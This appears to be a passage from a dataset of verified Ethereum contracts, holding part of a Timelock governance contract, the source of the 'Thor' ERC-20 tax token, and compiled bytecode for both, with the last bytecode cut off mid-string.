queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) { require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin."); require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public { require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, signature, data, eta); } function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) { require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale."); queuedTransactions[txHash] = false; bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call{value:value}(callData); require(success, "Timelock::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(txHash, target, value, signature, data, eta); return returnData; } function getBlockTimestamp() internal view returns (uint) { // solium-disable-next-line security/no-block-members return block.timestamp; } }
0x6080604052600436106100d65760003560e01c80636a42b8f81161007f578063c1a287e211610059578063c1a287e21461064a578063e177246e1461065f578063f2b0653714610689578063f851a440146106c7576100dd565b80636a42b8f81461060b5780637d645fab14610620578063b1b43ae514610635576100dd565b80633a66f901116100b05780633a66f901146102fd5780634dd18bf51461046d578063591fcdfe146104ad576100dd565b80630825f38f146100e25780630e18b681146102a857806326782247146102bf576100dd565b366100dd57005b600080fd5b610233600480360360a08110156100f857600080fd5b73ffffffffffffffffffffffffffffffffffffffff8235169160208101359181019060608101604082013564010000000081111561013557600080fd5b82018360208201111561014757600080fd5b8035906020019184600183028401116401000000008311171561016957600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092959493602081019350359150506401000000008111156101bc57600080fd5b8201836020820111156101ce57600080fd5b803590602001918460018302840111640100000000831117156101f057600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955050913592506106dc915050565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561026d578181015183820152602001610255565b50505050905090810190601f16801561029a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102b457600080fd5b506102bd610d1f565b005b3480156102cb57600080fd5b506102d4610e07565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b34801561030957600080fd5b5061045b600480360360a081101561032057600080fd5b73ffffffffffffffffffffffffffffffffffffffff8235169160208101359181019060608101604082013564010000000081111561035d57600080fd5b82018360208201111561036f57600080fd5b8035906020019184600183028401116401000000008311171561039157600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092959493602081019350359150506401000000008111156103e457600080fd5b8201836020820111156103f657600080fd5b8035906020019184600183028401116401000000008311171561041857600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610e23915050565b60408051918252519081900360200190f35b34801561047957600080fd5b506102bd6004803603602081101561049057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611180565b3480156104b957600080fd5b506102bd600480360360a08110156104d057600080fd5b73ffffffffffffffffffffffffffffffffffffffff8235169160208101359181019060608101604082013564010000000081111561050d57600080fd5b82018360208201111561051f57600080fd5b8035906020019184600183028401116401000000008311171561054157600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929594936020810193503591505064010000000081111561059457600080fd5b8201836020820111156105a657600080fd5b803590602001918460018302840111640100000000831117156105c857600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550509135925061124d915050565b34801561061757600080fd5b5061045b61153b565b34801561062c57600080fd5b5061045b611541565b34801561064157600080fd5b5061045b611548565b34801561065657600080fd5b5061045b61154f565b34801561066b57600080fd5b506102bd6004803603602081101561068257600080fd5b5035611556565b34801561069557600080fd5b506106b3600480360360208110156106ac57600080fd5b5035611699565b604080519115158252519081900360200190f35b3480156106d357600080fd5b506102d46116ae565b60005460609073ffffffffffffffffffffffffffffffffffffffff16331461074f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603881526020018061174a6038913960400191505060405180910390fd5b60008686868686604051602001808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156107c25781810151838201526020016107aa565b50505050905090810190601f1680156107ef5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561082257818101518382015260200161080a565b50505050905090810190601f16801561084f5780820380516001836020036101000a031916815260200191505b50604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081840301815291815281516020928301206000818152600390935291205490995060ff1697506108f89650505050505050576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603d81526020018061189d603d913960400191505060405180910390fd5b826109016116ca565b1015610958576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260458152602001806117ec6045913960600191505060405180910390fd5b61096583621275006116ce565b61096d6116ca565b11156109c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260338152602001806117b96033913960400191505060405180910390fd5b600081815260036020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001690558451606090610a08575083610abe565b85805190602001208560405160200180837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260040182805190602001908083835b60208310610a8657805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101610a49565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405290505b600060608973ffffffffffffffffffffffffffffffffffffffff1689846040518082805190602001908083835b60208310610b2857805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101610aeb565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610b8a576040519150601f19603f3d011682016040523d82523d6000602084013e610b8f565b606091505b509150915081610bea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603d815260200180611980603d913960400191505060405180910390fd5b8973ffffffffffffffffffffffffffffffffffffffff16847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610c74578181015183820152602001610c5c565b50505050905090810190601f168015610ca15780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610cd4578181015183820152602001610cbc565b50505050905090810190601f168015610d015780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39998505050505050505050565b60015473ffffffffffffffffffffffffffffffffffffffff163314610d8f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260388152602001806118da6038913960400191505060405180910390fd5b60008054337fffffffffffffffffffffffff0000000000000000000000000000000000000000918216178083556001805490921690915560405173ffffffffffffffffffffffffffffffffffffffff909116917f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c91a2565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b6000805473ffffffffffffffffffffffffffffffffffffffff163314610e94576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603681526020018061194a6036913960400191505060405180910390fd5b610ea8600254610ea26116ca565b906116ce565b821015610f00576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260498152602001806119bd6049913960600191505060405180910390fd5b60008686868686604051602001808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610f73578181015183820152602001610f5b565b50505050905090810190601f168015610fa05780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610fd3578181015183820152602001610fbb565b50505050905090810190601f1680156110005780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060016003600083815260200190815260200160002060006101000a81548160ff0219169083151502179055508673ffffffffffffffffffffffffffffffffffffffff16817f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f88888888604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156110d85781810151838201526020016110c0565b50505050905090810190601f1680156111055780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015611138578181015183820152602001611120565b50505050905090810190601f1680156111655780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39695505050505050565b3330146111d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260388152602001806119126038913960400191505060405180910390fd5b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff83811691909117918290556040519116907f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75690600090a250565b60005473ffffffffffffffffffffffffffffffffffffffff1633146112bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260378152602001806117826037913960400191505060405180910390fd5b60008585858585604051602001808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015611330578181015183820152602001611318565b50505050905090810190601f16801561135d5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015611390578181015183820152602001611378565b50505050905090810190601f1680156113bd5780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060006003600083815260200190815260200160002060006101000a81548160ff0219169083151502179055508573ffffffffffffffffffffffffffffffffffffffff16817f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8787878787604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561149557818101518382015260200161147d565b50505050905090810190601f1680156114c25780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156114f55781810151838201526020016114dd565b50505050905090810190601f1680156115225780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a3505050505050565b60025481565b62278d0081565b6202a30081565b6212750081565b3330146115ae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526031815260200180611a066031913960400191505060405180910390fd5b6202a30081101561160a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260348152602001806118316034913960400191505060405180910390fd5b62278d00811115611666576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260388152602001806118656038913960400191505060405180910390fd5b600281905560405181907f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c90600090a250565b60036020526000908152604090205460ff1681565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b4290565b60008282018381101561174257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206973207374616c652e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774207375727061737365642074696d65206c6f636b2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420657863656564206d696e696d756d2064656c61792e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774206265656e207175657565642e54696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737420636f6d652066726f6d2070656e64696e6741646d696e2e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e2072657665727465642e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a20457374696d6174656420657865637574696f6e20626c6f636b206d75737420736174697366792064656c61792e54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2ea2646970667358221220de029572e9069f7e48c2a538dd5be9dc15e9d291bf6b4b4f2e4bfbe97996648364736f6c63430007000033
{"success": true, "error": null, "results": {}}
3,845
0x002f1bfE85577d2F060ba399A69e3231337e6c6f
/** *Submitted for verification at Etherscan.io on 2021-11-21 */ //SPDX-License-Identifier: None // Telegram: https://t.me/ThorErc20 // Website: https://www.thorerc20.com/ pragma solidity ^0.8.9; uint256 constant INITIAL_TAX=9; uint256 constant TOTAL_SUPPLY=100000000; string constant TOKEN_SYMBOL="THOR"; string constant TOKEN_NAME="Thor"; uint8 constant DECIMALS=6; uint256 constant TAX_THRESHOLD=1000000000000000000; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract ThorToken is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _burnFee; uint256 private _taxFee; address payable private _taxWallet; uint256 private _maxTxAmount; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _burnFee = 1; _taxFee = INITIAL_TAX; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=_tTotal.div(25); emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<_maxTxAmount,"Transaction amount limited"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance >= TAX_THRESHOLD) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier onlyTaxCollector() { require(_taxWallet == _msgSender() ); _; } function lowerTax(uint256 newTaxRate) public onlyTaxCollector{ require(newTaxRate<INITIAL_TAX); _taxFee=newTaxRate; } function removeBuyLimit() public onlyTaxCollector{ _maxTxAmount=_tTotal; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function startTrading() external onlyTaxCollector { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _canTrade = true; IERC20(_pair).approve(address(_uniswap), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external onlyTaxCollector{ uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyTaxCollector{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100f75760003560e01c806370a082311161008a5780639e752b95116100595780639e752b951461029c578063a9059cbb146102bc578063dd62ed3e146102dc578063f42938901461032257600080fd5b806370a0823114610212578063715018a6146102325780638da5cb5b1461024757806395d89b411461026f57600080fd5b8063293230b8116100c6578063293230b8146101b5578063313ce567146101cc5780633e07ce5b146101e857806351bc3c85146101fd57600080fd5b806306fdde0314610103578063095ea7b31461014257806318160ddd1461017257806323b872dd1461019557600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b506040805180820190915260048152632a3437b960e11b60208201525b6040516101399190611396565b60405180910390f35b34801561014e57600080fd5b5061016261015d366004611400565b610337565b6040519015158152602001610139565b34801561017e57600080fd5b5061018761034e565b604051908152602001610139565b3480156101a157600080fd5b506101626101b036600461142c565b61036f565b3480156101c157600080fd5b506101ca6103d8565b005b3480156101d857600080fd5b5060405160068152602001610139565b3480156101f457600080fd5b506101ca610750565b34801561020957600080fd5b506101ca610786565b34801561021e57600080fd5b5061018761022d36600461146d565b6107b3565b34801561023e57600080fd5b506101ca6107d5565b34801561025357600080fd5b506000546040516001600160a01b039091168152602001610139565b34801561027b57600080fd5b506040805180820190915260048152632a2427a960e11b602082015261012c565b3480156102a857600080fd5b506101ca6102b736600461148a565b610879565b3480156102c857600080fd5b506101626102d7366004611400565b6108a2565b3480156102e857600080fd5b506101876102f73660046114a3565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561032e57600080fd5b506101ca6108af565b6000610344338484610919565b5060015b92915050565b600061035c6006600a6115d6565b61036a906305f5e1006115e5565b905090565b600061037c848484610a3d565b6103ce84336103c98560405180606001604052806028815260200161174a602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610cc2565b610919565b5060019392505050565b6009546001600160a01b031633146103ef57600080fd5b600c54600160a01b900460ff161561044e5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b5461047a9030906001600160a01b031661046c6006600a6115d6565b6103c9906305f5e1006115e5565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104f19190611604565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610553573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105779190611604565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105e89190611604565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d7194730610618816107b3565b60008061062d6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610695573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106ba9190611621565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610729573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074d919061164f565b50565b6009546001600160a01b0316331461076757600080fd5b6107736006600a6115d6565b610781906305f5e1006115e5565b600a55565b6009546001600160a01b0316331461079d57600080fd5b60006107a8306107b3565b905061074d81610cfc565b6001600160a01b03811660009081526002602052604081205461034890610e76565b6000546001600160a01b0316331461082f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610445565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461089057600080fd5b6009811061089d57600080fd5b600855565b6000610344338484610a3d565b6009546001600160a01b031633146108c657600080fd5b4761074d81610ef3565b600061091283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f31565b9392505050565b6001600160a01b03831661097b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610445565b6001600160a01b0382166109dc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610445565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610aa15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610445565b6001600160a01b038216610b035760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610445565b60008111610b655760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610445565b6000546001600160a01b03848116911614801590610b9157506000546001600160a01b03838116911614155b15610cb257600c546001600160a01b038481169116148015610bc15750600b546001600160a01b03838116911614155b8015610be657506001600160a01b03821660009081526004602052604090205460ff16155b15610c3c57600a548110610c3c5760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d697465640000000000006044820152606401610445565b6000610c47306107b3565b600c54909150600160a81b900460ff16158015610c725750600c546001600160a01b03858116911614155b8015610c875750600c54600160b01b900460ff165b15610cb057610c9581610cfc565b47670de0b6b3a76400008110610cae57610cae47610ef3565b505b505b610cbd838383610f5f565b505050565b60008184841115610ce65760405162461bcd60e51b81526004016104459190611396565b506000610cf38486611671565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d4457610d44611688565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d9d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc19190611604565b81600181518110610dd457610dd4611688565b6001600160a01b039283166020918202929092010152600b54610dfa9130911684610919565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e3390859060009086903090429060040161169e565b600060405180830381600087803b158015610e4d57600080fd5b505af1158015610e61573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b6000600554821115610edd5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610445565b6000610ee7610f6a565b905061091283826108d0565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610f2d573d6000803e3d6000fd5b5050565b60008183610f525760405162461bcd60e51b81526004016104459190611396565b506000610cf3848661170f565b610cbd838383610f8d565b6000806000610f77611084565b9092509050610f8682826108d0565b9250505090565b600080600080600080610f9f87611106565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610fd19087611163565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461100090866111a5565b6001600160a01b03891660009081526002602052604090205561102281611204565b61102c848361124e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161107191815260200190565b60405180910390a3505050505050505050565b6005546000908190816110996006600a6115d6565b6110a7906305f5e1006115e5565b90506110cf6110b86006600a6115d6565b6110c6906305f5e1006115e5565b600554906108d0565b8210156110fd576005546110e56006600a6115d6565b6110f3906305f5e1006115e5565b9350935050509091565b90939092509050565b60008060008060008060008060006111238a600754600854611272565b9250925092506000611133610f6a565b905060008060006111468e8787876112c7565